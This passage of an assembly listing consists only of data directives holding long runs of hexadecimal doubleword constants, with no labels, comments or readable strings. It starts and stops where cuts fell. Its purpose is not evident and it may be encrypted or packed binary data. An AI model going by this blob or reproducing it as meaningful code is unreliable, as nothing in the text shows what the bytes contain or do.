27509E2h, 0C7D00FE4h dd 2F1CE919h, 3EDCE74Dh, 0BF9BFE0h, 44155717h, 11805F49h dd 446E18A7h, 13FEBF65h, 47652DE6h, 39FA6FEEh, 0B7CAF866h dd 7D4C46DDh, 995C0AA4h, 0ACE56FECh, 34CEFBA5h, 6331680Ah dd 0E9548208h, 0FFA0D95Eh dd 874704E7h, 0BFD580A1h, 5554C808h, 0B9C0EE94h, 0E6B56CF9h dd 69D220C4h, 0BD7A7697h, 604F7516h, 4C5525A7h, 10802B4Fh dd 2F6DCECBh, 0F88264CCh, 9940434Bh, 0E0BD158Fh, 0BC44E875h dd 6625815Ch, 401C2C70h, 2F497793h, 40E1E93Ch, 0E3B80050h dd 0F70F6E1Ah, 750C25D0h, 3C3C5964h, 63912EE9h, 0B91CC261h dd 2CF9BE00h, 0F646E411h, 0DD6E4F0Fh, 0FA6DECA3h, 3BB916C0h dd 9E8F6AB8h, 0A76B0853h, 4D2C5907h, 33BC5F94h, 9C32AF5Fh dd 0F1077F8h, 32D2ADD5h, 69145B01h, 0FC7E7D3Ch, 9BEA5DEh dd 9F2ABA33h, 8640C57h, 543DF30Ah, 0AA04B40h, 3F4F7B8Ah dd 5830C309h, 715E320h, 4EEB0AC3h, 0D731FAA9h, 3BCF6849h dd 4EDF3EF2h, 0FB74DFF7h, 833A0237h, 0A0F23B5h, 0CC3EA8CFh dd 0A84AEE53h, 8A6F21EBh, 0BCB50D7h, 6E3C0A7h, 97399856h dd 5A09F4CBh, 504AF4D7h, 601849C3h, 0ADA47673h, 182D2D71h dd 8F388D5h, 14041C34h, 12BBD8E9h, 78BA22h, 0A4CE4E39h dd 231864F8h, 0BE48AE0Fh, 82C0D19h, 564FB01h, 0EAE3AE08h dd 6E846958h, 7BCCEEF4h, 2A584147h, 0FE39141h, 997A7382h dd 56F73A71h, 79FB75C5h, 238E6E61h, 0D6A28C18h, 481317BAh dd 270F74F3h, 7077A406h, 0D55F61FBh, 0EF4B0A11h, 2A2BDC2Dh dd 4DF11AD1h, 0FFAB751Bh, 3372BE0Bh, 0C4075EB4h, 57200375h dd 583FF2BFh, 0F702247Fh, 47ED4D32h, 847C2177h, 57CA79EEh dd 300164FAh, 68715212h, 0BF363F76h, 0C057E84Eh, 6359355Ch dd 0C212DE9h, 8A5012F4h, 0EF17C0BFh, 2FB7708Dh, 6F4F0CC1h dd 71B9FC57h, 0A2121CDCh, 88BE49F8h, 98770982h, 0C98EEB09h dd 4F804BEDh, 0B838EFC7h, 0EAF85E62h, 861EF74Dh, 0F29B4D0h dd 0CCC955C6h, 0F511D79Eh, 1A997EA0h, 15A2CD10h, 585401C4h dd 162AF135h, 0FC4D3447h, 0A86F6241h, 73B36E5Dh, 0D730BAFCh dd 72FC68B4h, 0DEA3F5C4h, 0E97499ABh, 80BB843Ch, 80EE87C7h dd 6EAC0B6h, 65286818h, 83DB0727h, 435B0CCh, 6B284C41h dd 0FABB7117h, 4148496Ch, 3AC331A1h, 908446A3h, 805A0B1Fh dd 575DAE6Dh, 0F331225Eh, 4AA9E92Eh, 5C623CABh, 0FBC0D555h dd 0C7B81C37h, 8453A00h, 0D1DDF768h, 253EB0E5h, 96198A79h dd 79B16BFAh, 3F917D3Eh, 493AAAA1h, 0FBE051DCh, 801EC2FEh dd 4392DBF2h, 0B83F97A1h, 1388A1F5h, 25EDB22Fh, 554409D1h dd 189867CCh, 0A242E45Ah, 0E050C3B1h, 0A8C5830Dh, 0B33A15E6h dd 4155078Bh, 0C4093493h, 4EBB83D5h, 204D1D81h, 0D89547A0h dd 0EC08A051h, 0EF919761h, 3E23605Ch, 947C77C6h, 0BCE04E57h dd 4C4E04C8h, 86EF323Ah, 810204B2h, 2F0654F2h, 0E93D601Bh dd 0D6EA2DB5h, 0E2E93F8Eh, 0B7C213E2h, 40008374h, 15D16BDh dd 6070F4CDh, 0B65220A9h, 0EE3980CCh, 42E68E63h, 0E90761C0h dd 0FD298EC3h, 4A2E010h, 3DA3685Eh, 377CF399h, 0A21C8185h dd 362C5A35h, 32BD27E9h, 5E778248h, 0FC6E1897h, 0B94AC09Fh dd 7C743369h, 4D1F730h, 7C1FE181h, 100E5C2Dh, 145A6604h dd 0A120BF3Ch, 9C29B2E9h, 0DE39AD0h, 0DF407AC2h, 0B3672514h dd 597997D6h, 0AAA7BC01h, 26FF5809h, 0DE87B99Bh, 3E4F0BB5h dd 49ADE1F9h, 0AD2F29F6h, 13E1D29Ch, 0E31526Bh, 0FB17D455h dd 0AC4F47CAh, 60014BE3h, 74B31660h, 5E29820h, 0E93C4736h dd 0BE99D4C4h, 3E98C841h, 0D0821D48h, 22715DC6h, 54041646h dd 7608685Ah, 0A7CB8AACh, 5BF70CE2h, 844DE858h, 0EC4C1768h dd 3792C00Eh, 130506DEh, 0E0D2E1Ah, 94EFD078h, 0E52F626h dd 2D128190h, 8F057AE1h, 0CBBE4789h, 20AD58A7h, 5B6604E7h dd 8440B252h, 0E2CD82DAh, 0C3408009h, 0F63E5014h, 97DA4F3Bh dd 33F473FEh, 0A54F0E3Eh, 188014Dh, 406E5DEFh, 65733A8Eh dd 4CBF5B6Bh, 98442746h, 1D820F47h, 6072560Bh, 2879BC51h dd 9B85522h, 25513109h, 0E9FD81F5h, 0C129FED6h, 0B193D2DEh dd 27F72BB1h, 8AC10117h, 9B34E9Eh, 31205659h, 9E7D3CA0h dd 13C561C0h, 0D268EF56h, 4D98097Dh, 455B6610h, 9589F09h dd 7AF6E9h, 57E7392Bh, 0BE035652h, 421D45F2h, 60E9A889h dd 0E35495EFh, 56515051h, 8938C9E9h, 533FBD03h, 0F5D73347h dd 7DE7AEC8h, 0DC9C5F3Eh, 0FE4D3885h, 43B3AEB5h, 1873E983h dd 7FB81002h, 864A5272h, 0BBA5895h, 342D5F71h, 301D4600h dd 0A8C32688h, 0F894649Ah, 2F773E05h, 0F5F40610h, 3D13D24Eh dd 6E04B0A9h, 0BE14F34Ah, 0A865A4C1h, 584217Fh, 933C46Dh dd 9968560Ah, 12B04C31h, 49F01603h, 4794E87Dh, 502BFF00h dd 4012E90Ah, 0CD685881h, 8976F9D7h, 75BD62E4h, 805A0BD9h dd 5F6290C6h, 0FB0CC258h, 0DA605318h, 5EABA6F4h, 349D6EC1h dd 7EEB69B3h, 0D3DDEAE9h, 2BDFDD2Eh, 7B54EFCBh, 18442568h dd 40B2B624h, 0A75784C6h, 51ECBA53h, 0BA619A31h, 804D661h dd 2FE19064h, 86AE9300h, 0E90E0859h, 5D097B82h, 3630DF47h dd 1E300BC5h, 96384E70h, 0BB3A4AF2h, 64720904h, 5FF9F590h dd 59193D88h, 42C32097h, 753BE491h, 0B013257Eh, 0E963C102h dd 2CB256E1h, 0CE983B84h, 1ABA2EEEh, 16707E13h, 60A1C784h dd 3F67E37Ah, 487FA60Fh, 0B9B1FA13h, 8240E90Bh, 1E4918B9h dd 57D57640h, 0E93DED05h, 0CE30E885h, 2D68F1F7h, 0B5DB0946h dd 77E7949Ch, 0C729FE30h, 0DE60F8FAh, 15EF70Fh, 4044B0CFh dd 0F50BBE53h, 573AA14Ch, 61BB5AC8h, 0B22A6D3Ch, 5D65B4FBh dd 0F28C4D22h, 5D4FBF00h, 47410751h, 63DAF781h, 0E022CA2h dd 0B3A96EEFh, 368DC152h, 215D5900h, 2F1C573Dh, 4F78813Dh dd 0DAE0DFF7h, 0B8688006h, 55F428B2h, 891209B7h, 786029C7h dd 6001459Eh, 6841A3E6h, 15B74E60h, 0C17B7411h, 46E40502h dd 427D25E0h, 0E80709B9h, 0D123BC24h, 7158C1D3h, 168D5D7Bh dd 0CCE8881Dh, 250ECD52h, 74019776h, 58E53513h, 0A12FB906h dd 6BEBCDCCh, 0BA80CAB8h, 3ABE1D11h, 28D892C1h, 0CA56B05h dd 2C0CD770h, 2C0BD3E9h, 72D201B9h, 0C36864A9h, 548C7F4Fh dd 60E1831Ch, 31D6665h, 2A63F7Fh, 68740A31h, 401043FCh dd 599B28ABh, 0E90566BCh, 0AC45827Fh, 155F3726h, 0FB80D952h dd 70045966h, 0E9D87D13h, 16512BFCh, 0A379FB68h, 50BA1559h dd 0B8B50151h, 79E9EA88h, 9F7C643Ch, 5BF5373h, 68CE5D9Eh dd 87550EAh, 0D9CA327Dh, 46F5BD36h, 88B02CC2h, 1174AC65h dd 296B7C0Ch, 682F607Dh, 90395CA5h, 556801D6h, 0E4D0A3B6h dd 372AE9CEh, 0D2F010F6h, 0FD91995Ah, 0C33326C8h, 395BA140h dd 0F4DF70CBh, 0BA05DEA5h, 23E9C838h, 0C8534892h, 2E2D2B49h dd 0CF33734Ch, 5B2F0B34h, 3EF03ED0h, 175160Fh, 8A81CC2h dd 652FE917h, 4807A290h, 33040B2Dh, 4F793CCDh, 58215FBDh dd 0BB008E9Dh, 0E20D3BF0h, 0ACDE313Dh, 0CE8AF9CFh, 0C1B7C82Bh dd 0B906EE24h, 17AA0D08h, 6BF0425Dh, 0F26333B2h, 7AC5D4F1h dd 37C15621h, 6280FC0Dh, 65EF1CB6h, 0DED9D86Bh, 1315B63Bh dd 0E2170FCh, 0FE042117h, 121AD247h, 7D5D7742h, 0F70855E7h dd 53AC00EFh, 0CF80E7B7h, 3635D07Ch, 84EA187Ch, 0B228FC8Dh dd 635ADD5Dh, 0E2052098h, 3E5C10Fh, 52805EC5h, 4EE43380h dd 0B4F3877Dh, 28CBEDBh, 69FB7231h, 0F2D008DFh, 0E125E9F0h dd 5C62DE2Ah, 3089729Bh, 0BECDFC3h, 733CB925h, 0E9530514h dd 5A2092C6h, 52C5C05Dh, 42A800BAh, 0E28135F9h, 17046C2Bh dd 5911E907h, 4B32B4D0h dd 0FA024CD8h, 0E6D937Fh, 0AA176187h, 56C29977h, 0CB727DEBh dd 0FEBD06F0h, 0F254EB52h, 0A39E772Fh, 83642DB9h, 25766802h dd 0BC82D851h, 407F9A02h, 82971EE3h, 0C58277FEh, 75341F71h dd 0CEE9B813h, 1ECCE82Eh, 27DF6BFh, 67513469h, 90DCDA55h dd 69F32ACh, 5E41EB69h, 10962E5h, 246BE181h, 0DC4D5148h dd 0BBA2567Ah, 5ECF7DD8h, 8BBCBD59h, 0A69FF95Ah, 0E19413D9h dd 27353F61h, 847DA708h, 81283BB2h, 8156304Fh, 0C3FEEE3h dd 0C4832E80h, 0EBD435Dh, 306B554Ch, 0EAC9F1E7h, 19352773h dd 6003AED9h, 0A93E3D4Fh, 766D803Fh, 50C229C0h, 6D146A68h dd 152A5A32h, 3F89A77Ch, 0A2B7F6E5h, 57DC0531h, 13423251h dd 3CB5F176h, 5B91EA10h, 2B1851F8h, 0FDEB7B77h, 987B1B2Ch dd 9A54CB1Fh, 0E8EE8DFEh, 6FA3F52Fh, 6B0E8A87h, 0CB97C66h dd 0F3E7AAEBh, 646A750Bh, 0D380870Ch, 0C7CCFD0Bh, 2C4FFA7Dh dd 3AE7116h, 87A35A2h, 92C1113Fh, 17DC779Ch, 27C57D01h dd 0B44EB50Fh, 0AF2AF497h, 724CA54h, 0E8519000h, 9ED8169h dd 760E6613h, 0EAC46664h, 0B5ECF3D9h, 0B494EC4Ah, 4EE88EAAh dd 8F8943B9h, 9268FFE0h, 5ACF05BFh, 2145B5AAh, 59A70834h dd 207D4B48h, 34B907CDh, 0A31E360Ah, 1427C075h, 0C137D459h dd 36215A68h, 44263ECBh, 50109F6h, 65FD06EBh, 7E16B695h dd 0D42743F2h, 54654007h, 760F3F52h, 42E915FDh, 0D3229F49h dd 0DA9620F4h, 5243D62Dh, 901F1104h, 62C1BE35h, 8102EA90h dd 0E01442E6h, 96CC5D1Dh, 0EFC1382Ch, 5A3C2A82h, 57C8622Dh dd 5C2930C8h, 0E93D2475h, 0EA98D4BAh, 6D70110Fh, 0A74066B0h dd 24F077A1h, 83EDCB7Eh, 26C13F94h, 28BFF9D1h, 0C9538FAEh dd 20205254h, 80095597h, 0D5880DC3h, 0B9876133h, 0CDA616D7h dd 0FE062C2Eh, 1A6551FFh, 0CD5C3161h, 0FC52B112h, 5E7ACBBAh dd 0C9BDBF40h, 1A709547h, 0AAF301E9h, 48975AD7h, 3D0E2597h dd 5EBCB08h, 85BA9EFEh, 7F615BF5h, 818321ECh, 0F9E840EFh dd 5EB55D0Fh, 0C5E942DAh, 2C091B74h, 7BC4F02Eh, 9E1652B6h dd 14E0D12Fh, 2724639Dh, 688BEB0Fh, 22183214h, 41D2AEEh dd 86D0EE58h, 20F7DFF5h, 0E91301F8h, 0BD30D8B3h, 2C2088F1h dd 28F6B9Ah, 4FC2D70Bh, 0C3122ED5h, 0E15C22CDh, 0EE44F201h dd 0D0FB0816h, 0C6B6879h, 0DE23D9A8h, 0F7C16EB5h, 6875C8D2h dd 7642BDAAh, 0A8A7ED57h, 26FD7330h, 18447C1Fh, 0CBE90DF9h dd 0D1948E4Bh, 0F8602CFBh, 9EACCA5Eh, 2829BBD7h, 415B6A30h dd 5E037D50h, 57062E22h, 0D3C5DDE9h, 60A2CDF0h, 0AB179E30h dd 0E1AC55E9h, 0BFBF717Bh, 0B3FC2F95h, 23020CF2h, 0C6F5A27h dd 40B4110Bh, 6113220Ch, 0FBE526Ah, 3103793h, 0FE4E71BFh dd 48ADD214h, 2CB1B80Fh, 1433414Ch, 818DB9BBh, 0EAE7077Dh dd 70C702E2h, 6DDC7DE8h, 64A0B613h, 89C09D29h, 6033D6Ch dd 8F685B25h, 1F47120Fh, 5F9B42Bh, 0AE899A0h, 0CFEC5572h dd 0A6695809h, 74620044h, 0BDDCAE7Dh, 2E5FF162h, 0DE48A9F2h dd 6B184D71h, 6293DDEDh, 4C7D291Eh, 6AE4BF6Fh, 0E2926676h dd 2793C53Ch, 0F58262F6h, 0C2096EE7h, 0CF2C22BAh, 4BA6EC3Ch dd 4A57EA8Fh, 0BEF494F9h, 951902B6h, 0D8AD1857h, 249F1B7Bh dd 0D1A0BA1Bh, 421902BFh, 0FB2918EAh, 380DBE7Ah, 670BD456h dd 0C0B6F420h, 67CC802Eh, 0C012E4D0h, 82BA08ECh, 0E389BB59h dd 539704D8h, 0FA51E4F7h, 1B86A488h, 8C0FEC5h, 688CC9D9h dd 0ACE3E718h, 0E3FB84B0h, 0EA800304h, 90CAFE38h, 1DD2F6C2h dd 5D90B151h, 0C0D1C3D9h, 0E0002E1h, 891C180h, 0CE6659CAh dd 0C41DBD26h, 0EE9364E9h, 9DEEBB34h, 7C8B6E9Ah, 0BFF6542Dh dd 0B4126A6Ah, 0FF9709E2h, 5B4C2688h, 0F9BA3949h, 0BA7D34A3h dd 0EBC00209h, 5A9F07FFh, 0CA645739h, 3F592F2Eh, 11078141h dd 0B7D8F7E4h, 318D46DEh, 406E4EDDh, 127CE6B7h, 0FDA10228h dd 0B8BD030Fh, 0A0578669h, 17347DF3h, 0AF2973DCh, 0B197B50Ah dd 538048ACh, 68A41902h, 59465256h, 7DC72F10h, 0C43FF26h dd 5D31EC2h, 130E858h, 6EF9BE56h, 0BA814121h, 69667F1Ah dd 698A31E9h, 0C681E49Ch, 8C3E2A9Bh, 1EF87932h, 0E3E90D12h dd 7C68B980h, 0BEB3A870h, 8F1495D4h, 206BD6F8h, 0F62DD18h dd 27E1E7FFh, 0CA42A9F6h, 0E0C9F699h, 284DF680h, 8B2FF369h dd 5753625Ah, 0AC51C7h, 0AF088D00h, 90435B13h, 691C44F2h dd 4F31145Fh, 0A468DC7Dh, 401AD194h, 0C07512D6h, 3B08EAB6h dd 7757FA3h, 0DF063C1h, 0B100B9D1h, 0D875CF9Ch, 4AD2F724h dd 9182142h, 0D7BE62h, 2D3BB416h, 9AC60981h, 4C546030h dd 0D9085800h, 0C4CE0179h, 70C9078h, 0C4ECC609h, 0BD661F5Bh dd 0D0838A6Ah, 59BFBDF0h, 79BF6154h, 48E58F8h, 0A60CC707h dd 0BA52A071h, 0E8255A72h, 2C2AF14Fh, 0D5042FEBh, 0C7118059h dd 66163B3Fh, 6A04D6F7h, 0A88A22A4h, 0A85C0113h, 0D564F1EEh dd 848FE27Eh, 112BA5Fh, 0B980B3F4h, 59BC6E7Ah, 2947CB02h dd 0E5605AC8h, 7E1824C0h, 0EB1F091Fh, 0FE6F17D3h, 1B28EF7Fh dd 490F4916h, 81F8EC97h, 7E1A91EEh, 0C2D1BE61h, 1DC56A24h dd 5C415751h, 6C2FDFDEh, 0E701004h, 64C28952h, 98AB5A5Fh dd 3342D0F2h, 0C225C21Ch, 0A6684A44h, 0B568FA5Fh, 0BA804165h dd 0C1C3A0Fh, 3D7605BEh, 0BF296663h, 4F38AE90h, 38EF901Eh dd 61822EEAh, 1630E911h, 522FC508h, 407197EDh, 81DB0B27h dd 0D1502DC2h, 481E3E4h, 2735BBEDh, 0DEB1AB04h, 3CCB0806h dd 58E574E9h, 1506C131h, 0EB210061h, 485B85Dh, 742E4333h dd 588AF929h, 0A09F2567h, 0F44B5EFBh, 0A2289D23h, 94662D08h dd 0EBB77197h, 0FA086251h, 93E9612Ch, 0EB376E41h, 0C65A7692h dd 924B801h, 7E208AC1h, 0E8E9B800h, 8548FFFBh, 207B22E0h dd 0B9905992h, 27EFFA5Ah, 0AAC39881h, 3F09C532h, 7BD06Ah dd 5205EFC1h, 160D2868h, 5AB392EBh, 39CD8AFBh, 20AB4EA8h dd 8A2F736Dh, 1029584Ch, 0C34CDB12h, 6978ED2Fh, 4DB3DA83h dd 8CB6BB85h, 2A93563Eh, 0B72CFB08h, 0A86C5E01h, 0A5E4C464h dd 0DFDD8CEFh, 0F4601641h, 0C95313E1h, 0F901F115h, 0E76C51h dd 0D12BB05h, 0E7F0012Dh, 0B5E90740h, 0EE3FC03Ch, 49921170h dd 797DAF6h, 8871B428h, 0C8C158E1h, 6050CE4Ch, 3025FADFh dd 79022012h, 8E91BA05h, 0A769403Bh, 7222276Eh, 881BADAh dd 72B96E58h, 9828E9C2h, 0C4700B76h, 2EF68248h, 2D447308h dd 0FC05DDF8h, 0EFE9D430h, 216036B1h, 0F979E54Ah, 0BC527977h dd 46542F8Dh, 0DDB1F116h, 0C27DBB2Ah, 9633E72Fh, 252C8BBBh dd 0C1F68122h, 0C74003EAh, 1288FEE5h, 1D7211Eh, 3EF4C7F5h dd 71E9E005h, 78787A49h, 1DB3554Ch, 2DDBF801h, 0DB8ADB0Fh dd 77F8105Fh, 10FC966Eh, 0DC4F6F19h, 0C5F091D5h, 11DD6078h dd 0A8686186h, 0E912B0B2h, 0CFF88FB3h, 0AAA958C4h, 5EEF6456h dd 225B92B2h, 0BD76D42Ah, 34B31E3Fh, 9C494413h, 22C2280h dd 2405C599h, 2CAE4292h, 0DE52B9FEh, 4BA5BAAFh, 0F85A5284h dd 0A83BED4Dh, 6DEF2E2Ch, 4152FEAEh, 0B697F1CFh, 0AB90FA50h dd 12F9CF81h, 0AC762162h, 3A060043h, 0A2BB5FE8h, 5CEB1757h dd 0D5B40B31h, 59F47442h, 0B8C38061h, 58BEC7Bh, 0E04FE94Ah dd 6871DCFBh, 0BE575F09h, 7D38622Ah, 253F470Fh, 0FC2749C6h dd 5BD291B9h, 0A4FB35E4h, 6CC461B3h, 3FD828EFh, 0CF0CE121h dd 3BCCBF00h, 51792226h dd 8920B320h, 9519EC32h, 5B41D242h, 13EF6963h, 3ABB554Bh dd 0C5680933h, 6E30FD14h, 0A60A45FCh, 0DCE7C149h, 107F150Bh dd 5936347Eh, 0DA0ECA3Eh, 0E9E5516Eh, 0FB48957Bh, 7558AACBh dd 1F29BB05h, 0CCDB000Eh, 0E978D563h, 7BCE54F8h, 4E31E4E0h dd 1E80E794h, 9B198068h, 7F0F3E8Bh, 0EEE95BD6h, 0BFEEE45Dh dd 0D36621D9h, 51C7948Fh, 0B6E28053h, 0BB416E3Fh, 0E90BC4BAh dd 986D95E1h, 1D48F38Bh, 584FCB71h, 2660B059h, 266F295Ch dd 252E1041h, 7E75F58h, 84F1F609h, 810DCA9Dh, 0DEB06B34h dd 0C8489F58h, 1D3F0EFEh, 82E18325h, 0D905763Ah, 4D2234BCh dd 85FC0892h, 0BAD5825h, 21375D78h, 0E6985263h, 0E5A8A51Bh dd 76142628h, 5DE4767h, 3773CE45h, 0FEFF12ABh, 4D075628h dd 9940BA23h, 120A71B5h, 0EDD92915h, 4C0D904Eh, 94271A6Bh dd 1C3675D6h, 1B894731h, 0D6C659E8h, 0B3845A0Fh, 0E2858270h dd 0EBAB9AC3h, 5E588BACh, 640460A8h, 0E403B7E9h, 2B176EFDh dd 94C0330Dh, 0A105C801h, 0B26A590Ah, 0D1FAD22Fh, 8D10D8h dd 3D72D3BBh, 0D8254B0Dh, 0F101157Ah, 2728573Eh, 523FCB89h dd 92E9019Ch, 3A405852h, 5008EF50h, 0EC41CADFh, 4FBAA930h dd 8B68FD90h, 2A32E429h, 76E788E9h, 3A2CF35Dh, 3B280501h dd 6C487AEEh, 652D8108h, 0E07FE7CCh, 6739B6A8h, 9974833h dd 0DB491FE9h, 0D192BDE6h, 75DDEAAAh, 0C18C96F0h, 68A2B018h dd 8BB86E52h, 5BBBBC96h, 0BE2D44BBh, 3F6807BAh, 277953F9h dd 38970C14h, 26E95827h, 42861030h, 0D955A19Eh, 420668B7h dd 0C1126856h, 0AF045466h, 0EB0026A2h, 575BDD87h, 68B76FE9h dd 9F04BA0Bh, 679C8718h, 31211309h, 1E85F3F7h, 4BDBC5EFh dd 0AB01ABD1h, 756F2549h, 5ACBD17Ah, 4587605Eh, 0C66489BEh dd 534AAEFCh, 1D57AE7Eh, 841CCA9h, 650647Dh, 0FCD54F11h dd 0AF68E1C6h, 99E9DB50h, 0C80BC6DFh, 0E5B7308Bh, 0F03B13CFh dd 23C0B702h, 0F3814359h, 0C9281648h, 2E06EE87h, 0A2A5E3FBh dd 0C22B8355h, 0F01317DDh, 5A5BBB05h, 4A4A2E0h, 580CB958h dd 80267C90h, 2740317Ch, 3E573D21h, 198ECD81h, 0F5C07DAEh dd 42A91EB1h, 3EBE5603h, 0E0775A69h, 126B51F6h, 0A44E5512h dd 6A0DFFD8h, 26E9207Eh, 91BA5897h, 70D02961h, 6A95B7E5h dd 69C3400Fh, 0F7E0B539h, 531DBA05h, 0B7D7ABDh, 0D614153Bh dd 4368C1B0h, 549E535Fh, 597717BEh, 0E795A1FCh, 0F876259Ah dd 4A51BA25h, 295BD770h, 0E937E8E9h, 41815EB0h, 4E3AD5BFh dd 31872122h, 5361E22Ah, 79402AD8h, 0F71A78EEh, 0B1CBA850h dd 5C6697CFh, 10DB0F33h, 38F2C7B5h, 5F61CAF6h, 0CA0BC8FAh dd 8107E2C1h, 840D8F99h, 83E7EFEh, 6805C89Eh, 55B30310h dd 0C8A37A12h, 0B3596886h, 64BA92F7h, 0ABA8D40Bh, 2D688EB4h dd 341974B6h, 0EFA97B3Ah, 6C42B093h, 357AB024h, 0C7EF6039h dd 7B48242Fh, 175B4A6Ah, 5F9ABAE6h, 8E2DE258h, 22EC61DCh dd 0E55800B3h, 71D5BB63h, 810669DEh, 8B6784C3h, 0A8B73138h dd 0F870B974h, 60900F72h, 2157DD63h, 3E1E798Ah, 0E30EDBF3h dd 86FC060h, 0CED02CCBh, 27D30EEAh, 9D736904h, 5FF75ABh dd 80750878h, 0AC60E9A0h, 1C0ABC7h, 0A5B1AA84h, 24559C07h dd 0E9855DB2h, 5AB5418Ch, 2E759968h, 90A2F767h, 2D61EC7Ch dd 6513F19Fh, 20F3C6C5h, 5059B800h, 0DB25225Dh, 4D262476h dd 417002C1h, 0C1774CE0h, 38214E31h, 122C92F4h, 0DF009CBh dd 8F45C0F7h, 8C46171Ch, 122C0C31h, 0AB36D277h, 0AAB8A9D0h dd 66482563h, 953E9174h, 76A4C43Eh, 0E8307F78h, 840F1092h dd 0AC364A21h, 5E54E292h, 7DF1005Bh, 0CA813DCEh, 4767809h dd 4863001Ah, 0B565CC49h, 24622A74h, 0BB4209BAh, 62D191C3h dd 0CFA73A2Ch, 87B2224Ch, 2479B5E1h, 81BF4B72h, 42E7044h dd 27EC1B24h, 7B745575h, 8702EF26h, 0DDAE4245h, 3E52B0C1h dd 0C1A19CC3h, 24942CB3h, 0BF4F07F3h, 6F4B4631h, 8A38EC64h dd 377E9BC0h, 0EA09492Eh, 9A2BAF00h, 74BB535Ch, 67B13D6Bh dd 27A890h, 0D22B3EBDh, 0A0EDC176h, 82CCE5F2h, 62E69275h dd 40E0AFECh, 0CDD4EADh, 5E5D0A35h, 17C34A9Dh, 1D943B2h dd 6EEA68DEh, 76D5A2A2h, 32F54A4Ah, 493561F2h, 2F2D5A01h dd 8ED8E594h, 2554EE9h, 2C536868h, 0EC6290D4h, 0EAB003A5h dd 0C0F734EAh, 0B088620Eh, 708073F5h, 28F85B7Fh, 412E680Ah dd 0B660336Eh, 2DE9519Dh, 59D99C17h, 4872B38Bh, 2519347Eh dd 0EA7B46A3h, 0BB1DAB02h, 0A4E9606Ah, 2C152F08h, 0EE1427FCh dd 0AF004F08h, 7961223Dh, 5C702AE9h, 0C9092494h, 15DB0C5Ah dd 5B708A99h, 0D1F73EE1h, 382C8FC8h, 2D801908h, 0B1F9675h dd 28E9F821h, 0B5385370h, 0E555C37h, 4E80C5FEh, 0CECD6703h dd 2FE8F563h, 4EB08C0Ch, 3B95E5E7h, 6004D92Fh, 90CE7224h dd 51505AAh, 0FF013D2Ch, 0B4E00F64h, 0F8FA4E68h, 34BFD75Eh dd 7E14BB6Ah, 0F2E0488h, 50FE20DAh, 56580829h, 0E9E9684Fh dd 3AF64F27h, 9DC05D86h, 18BD2FC9h, 2C12503Ah, 2A0E3D38h dd 14DD9500h, 509CB4B2h, 0C55474E9h, 6AB387D1h, 3C424527h dd 0B79477AAh, 617A13F4h, 4B6ABFC5h, 2B5A4306h, 0B0FDEB5Bh dd 269B34Fh, 7976AE68h, 1803CC08h, 0B1D04DE9h, 3800C2EFh dd 0B85808DCh, 48B5A2FCh, 0B94F5BB0h, 78884F78h, 0D8302FACh dd 68703CD4h, 0D9225969h, 0AD16084h, 6407F35Dh, 8130857Eh dd 285073F2h, 99D6F05h, 19DDDBC7h, 895B4D50h, 6EEAE20Eh dd 0F665897Eh, 61CE0864h, 6DED8000h, 359E830h, 0C8FE7404h dd 0C3E1352Ch, 0EB0683AFh, 488E22E9h, 0CA58267Ah, 5C97CF20h dd 0EA4D8879h, 18E68100h, 0F627C850h, 0D92648BDh, 41174381h dd 9EF74215h, 0E6701A7Ah, 0BB72A700h, 0F2717362h, 8FF29701h dd 0A84F0C0Ch, 23A0C06h, 0E92E5425h, 8AA2B153h, 72FD59CFh dd 0CD897E0h, 6833AA09h, 1A8D1049h, 7CBA8116h, 0C2A9979Dh dd 0D4AC545Eh, 131ABCB4h, 98FE9C8Dh, 0F49D52C4h, 8E6858C8h dd 18276C49h, 0F0155135h, 0A692B932h, 0C2521E0Eh, 5BD3CA9h dd 0B720A35Ah, 0BE96F7h, 73BECF81h, 0FB01ABDh, 453AB51Eh dd 0D3F74306h, 795D9804h, 0EC19508Ah, 0BA883FEBh, 0DF29F689h dd 0B534CFFh, 28B62BBCh, 0E902FE00h, 5E959989h, 0C3688568h dd 0B62ED84Dh, 0ED99725Fh, 2521D40h, 5174325Ah, 0BE08C022h dd 8F845C16h, 2CD2D6A3h, 0FE9C53F6h, 82DDD25h, 6B151D11h dd 4B1756BDh, 8F9BCC9Ch, 7C934212h, 46C17C07h, 0D7291812h dd 3EF682B2h, 1EBE6101h, 8D7ABB68h, 0C6E5606Dh, 0E98C674Ah dd 3050402Fh, 63244CDh, 0EC680D8Fh, 0A012EDF5h, 3FCBABD1h dd 0BC4A6846h, 138A0108h, 0E0D1122Fh, 9C20802Bh, 2EC1EB3Ah dd 0B0FAE9D0h, 177C8522h, 13BC966h, 7C217E84h, 0B4E28337h dd 8D42C001h, 932D41EFh, 6F69573Dh, 0CE1B1247h, 0B2B8770Bh dd 25944135h, 6933256Fh, 0A810CAB3h, 0B4500052h, 80DCF6C8h dd 0E01F4BECh, 925E947h, 24B6940h, 9F49920h, 29DDFF33h dd 0D5B80B57h, 2721D280h, 0E9142215h, 4A9096C8h, 0CDC78DAAh dd 7FD3FE1h, 0C18344A5h, 0CF0713B0h, 605644Ah, 0F88913EFh dd 4770B0FBh, 0D5D89518h, 4BA10824h, 16BAD627h, 6820EA31h dd 93A66FE9h, 63330378h, 9CE978DCh, 0D2A328FEh, 80EBC4AEh dd 0DD206C79h, 31191A1h, 55FBEA68h, 0DFC23D13h, 7DA7A9DCh dd 0E2CE897h, 18BFA24h dd 96C302F1h, 6A60F07h, 0E248A791h, 9A8C13B2h, 7A383D22h dd 0DFB727D9h, 5419CDCh, 59D9C828h, 0EA160E97h, 0A9B0050Bh dd 0D4EA4240h, 4EE95032h, 67BFC94Ah, 0D4E1B48Eh, 7662F1ABh dd 3AA1A0Bh, 7ABE780Dh, 0BA233005h, 0B968E0B3h, 0E2AC0D4Ah dd 1B12BFE4h, 174D8ABAh, 7AFC7BDh, 204095EEh, 0C0E9FD87h dd 4A6287BFh, 0FB588B62h, 406CA8B7h, 5A4A6688h, 557A43ACh dd 0ED42D492h, 123F58BFh, 0FC9C3558h, 2AE4B23h, 6A5AB8A2h dd 0C351DE50h, 0B144307h, 57ADD100h, 860C0668h, 9275B019h dd 0A3D99590h, 94D55209h, 25D89E02h, 300D6E5Dh, 0C72D82F0h dd 0F50B0F9Bh, 88F72944h, 5E130812h, 10B809BBh, 0D03DC78h dd 39CB028Eh, 82C18805h, 0C2290479h, 0F4B6D1E9h, 0DEC906BDh dd 5D9184DBh, 0B8D7C4EFh, 5E84801Fh, 59E979D0h, 0BB4FF3DDh dd 45E89634h, 30200BF5h, 0A2FDCFEAh, 4C5E5AF2h, 9D05FA25h dd 0C597D650h, 88F12DE1h, 